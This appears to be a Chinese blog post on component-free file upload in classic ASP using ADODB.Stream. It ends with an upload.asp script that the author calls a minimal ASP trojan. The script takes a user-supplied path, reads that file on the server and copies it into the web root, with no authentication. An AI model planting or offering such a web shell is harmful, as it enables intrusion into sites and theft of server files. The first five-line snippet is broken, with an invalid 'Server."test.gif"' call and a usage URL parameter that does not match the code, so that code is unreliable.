五行代码实现ASP无组件上传

本文介绍了一种仅使用五行代码实现无组件文件上传的方法,核心在于利用ADODB.Stream对象进行文件读取与保存。此外,还提供了一个简单的ASP木马示例,展示了如何通过用户提交的表单数据来上传指定的本地文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。
  其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。

  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile Request("upfilename")
  objStream.SaveToFile Server."test.gif",2

  使用方法:

  把上面的代码写成upload.asp,在浏览器里面输入:http://localhost/upload.asp?file1=c:/test/test.gif

  localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。

  根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。

  upload.asp文件

<%
  Function GetFileName(ByVal strFile)
  If strFile <> "" Then
   GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
  Else
   GetFileName = ""
  End If
  End  function
  
  strFileName = Request.Form("upfilename")
  If strFileName<>"" Then 
  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile strFileName
  objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
  objStream.Close
  response.write "OK!"
  Else
%>
  <form action='<%= Request.ServerVariables("URL") %>' method='post'>
  <input type='file' name='upfilename'> <input type='submit'></form>
<%
  End if
%>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值